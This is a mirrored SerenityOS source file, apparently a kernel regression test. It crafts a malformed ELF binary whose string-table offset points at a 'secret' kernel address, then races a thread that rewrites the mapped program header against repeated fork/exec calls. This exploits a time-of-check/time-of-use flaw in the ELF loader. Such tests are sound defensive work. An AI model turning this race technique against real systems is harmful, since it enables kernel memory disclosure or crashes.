mirror of
				https://github.com/RGBCube/serenity
				synced 2025-10-31 03:02:45 +00:00 
			
		
		
		
	 1cd3826ad6
			
		
	
	
		1cd3826ad6
		
	
	
	
	
		
			
			MAP_FILE is not in POSIX, and is simply in most LibCs as a "default" mode. Our own LibC defines it as 0, meaning "no flags". It is also not defined in some OS's, such as Haiku. Let's be more portable and not use the unnecessary flag.
		
			
				
	
	
		
			141 lines
		
	
	
	
		
			3.3 KiB
		
	
	
	
		
			C++
		
	
	
	
	
	
			
		
		
	
	
			141 lines
		
	
	
	
		
			3.3 KiB
		
	
	
	
		
			C++
		
	
	
	
	
	
| /*
 | |
|  * Copyright (c) 2018-2020, the SerenityOS developers.
 | |
|  *
 | |
|  * SPDX-License-Identifier: BSD-2-Clause
 | |
|  */
 | |
| 
 | |
| #include <AK/Types.h>
 | |
| #include <elf.h>
 | |
| #include <fcntl.h>
 | |
| #include <pthread.h>
 | |
| #include <stdio.h>
 | |
| #include <stdlib.h>
 | |
| #include <string.h>
 | |
| #include <sys/mman.h>
 | |
| #include <sys/stat.h>
 | |
| #include <sys/wait.h>
 | |
| #include <unistd.h>
 | |
| 
 | |
| bool volatile hax = false;
 | |
| 
 | |
| int main()
 | |
| {
 | |
|     char buffer[16384];
 | |
| 
 | |
|     auto& header = *(Elf32_Ehdr*)buffer;
 | |
|     header.e_ident[EI_MAG0] = ELFMAG0;
 | |
|     header.e_ident[EI_MAG1] = ELFMAG1;
 | |
|     header.e_ident[EI_MAG2] = ELFMAG2;
 | |
|     header.e_ident[EI_MAG3] = ELFMAG3;
 | |
|     header.e_ident[EI_CLASS] = ELFCLASS32;
 | |
|     header.e_ident[EI_DATA] = ELFDATA2LSB;
 | |
|     header.e_ident[EI_VERSION] = EV_CURRENT;
 | |
|     header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
 | |
|     header.e_ident[EI_ABIVERSION] = 0;
 | |
|     header.e_type = ET_EXEC;
 | |
|     header.e_version = EV_CURRENT;
 | |
|     header.e_ehsize = sizeof(Elf32_Ehdr);
 | |
|     header.e_machine = EM_386;
 | |
|     header.e_shentsize = sizeof(Elf32_Shdr);
 | |
| 
 | |
|     header.e_phnum = 1;
 | |
|     header.e_phoff = 52;
 | |
|     header.e_phentsize = sizeof(Elf32_Phdr);
 | |
| 
 | |
|     auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
 | |
|     ph[0].p_vaddr = 0x20000000;
 | |
|     ph[0].p_type = PT_LOAD;
 | |
|     ph[0].p_filesz = sizeof(buffer);
 | |
|     ph[0].p_memsz = sizeof(buffer);
 | |
|     ph[0].p_flags = PF_R | PF_W;
 | |
|     ph[0].p_align = PAGE_SIZE;
 | |
| 
 | |
|     header.e_shnum = 3;
 | |
|     header.e_shoff = 1024;
 | |
| 
 | |
|     u32 secret_address = 0x00184658;
 | |
| 
 | |
|     auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
 | |
|     sh[0].sh_type = SHT_SYMTAB;
 | |
|     sh[0].sh_offset = 2048;
 | |
|     sh[0].sh_entsize = sizeof(Elf32_Sym);
 | |
|     sh[0].sh_size = 1 * sizeof(Elf32_Sym);
 | |
| 
 | |
|     sh[1].sh_type = SHT_STRTAB;
 | |
|     sh[1].sh_offset = secret_address - 0x01001000;
 | |
|     sh[1].sh_entsize = 0;
 | |
|     sh[1].sh_size = 1024;
 | |
| 
 | |
|     sh[2].sh_type = SHT_STRTAB;
 | |
|     sh[2].sh_offset = 4096;
 | |
|     sh[2].sh_entsize = 0;
 | |
|     sh[2].sh_size = 1024;
 | |
|     header.e_shstrndx = 2;
 | |
| 
 | |
|     auto* sym = (Elf32_Sym*)(&buffer[2048]);
 | |
|     sym[0].st_value = 0;
 | |
|     sym[0].st_name = 0;
 | |
| 
 | |
|     header.e_entry = 0;
 | |
| 
 | |
|     char path[] = "/tmp/x.XXXXXX";
 | |
|     auto fd = mkstemp(path);
 | |
|     if (fd < 0) {
 | |
|         perror("mkstemp");
 | |
|         return 1;
 | |
|     }
 | |
| 
 | |
|     if (fchmod(fd, 0777) < 0) {
 | |
|         perror("chmod");
 | |
|         return 1;
 | |
|     }
 | |
| 
 | |
|     int nwritten = write(fd, buffer, sizeof(buffer));
 | |
|     if (nwritten < 0) {
 | |
|         perror("write");
 | |
|         return 1;
 | |
|     }
 | |
| 
 | |
|     sync();
 | |
| 
 | |
|     auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
 | |
|     if (mapped == MAP_FAILED) {
 | |
|         perror("mmap");
 | |
|         return 1;
 | |
|     }
 | |
| 
 | |
|     auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
 | |
| 
 | |
|     pthread_attr_t attrs;
 | |
|     pthread_attr_init(&attrs);
 | |
|     sched_param high_prio { 99 };
 | |
|     pthread_attr_setschedparam(&attrs, &high_prio);
 | |
| 
 | |
|     pthread_t t;
 | |
|     pthread_create(
 | |
|         &t, &attrs, [](void* ctx) -> void* {
 | |
|             auto& ph = *(volatile Elf32_Phdr*)ctx;
 | |
|             for (;;) {
 | |
|                 if (!hax)
 | |
|                     ph.p_offset = 0x60000000;
 | |
|                 else
 | |
|                     ph.p_offset = 0;
 | |
|                 hax = !hax;
 | |
|                 usleep(1);
 | |
|             }
 | |
|         },
 | |
|         &writable_program_headers[0]);
 | |
| 
 | |
|     for (;;) {
 | |
| 
 | |
|         if (!fork()) {
 | |
|         try_again:
 | |
|             printf("exec\n");
 | |
|             execl(path, "x", nullptr);
 | |
|             goto try_again;
 | |
|         }
 | |
| 
 | |
|         printf("waitpid\n");
 | |
|         waitpid(-1, nullptr, 0);
 | |
|     }
 | |
| }
 |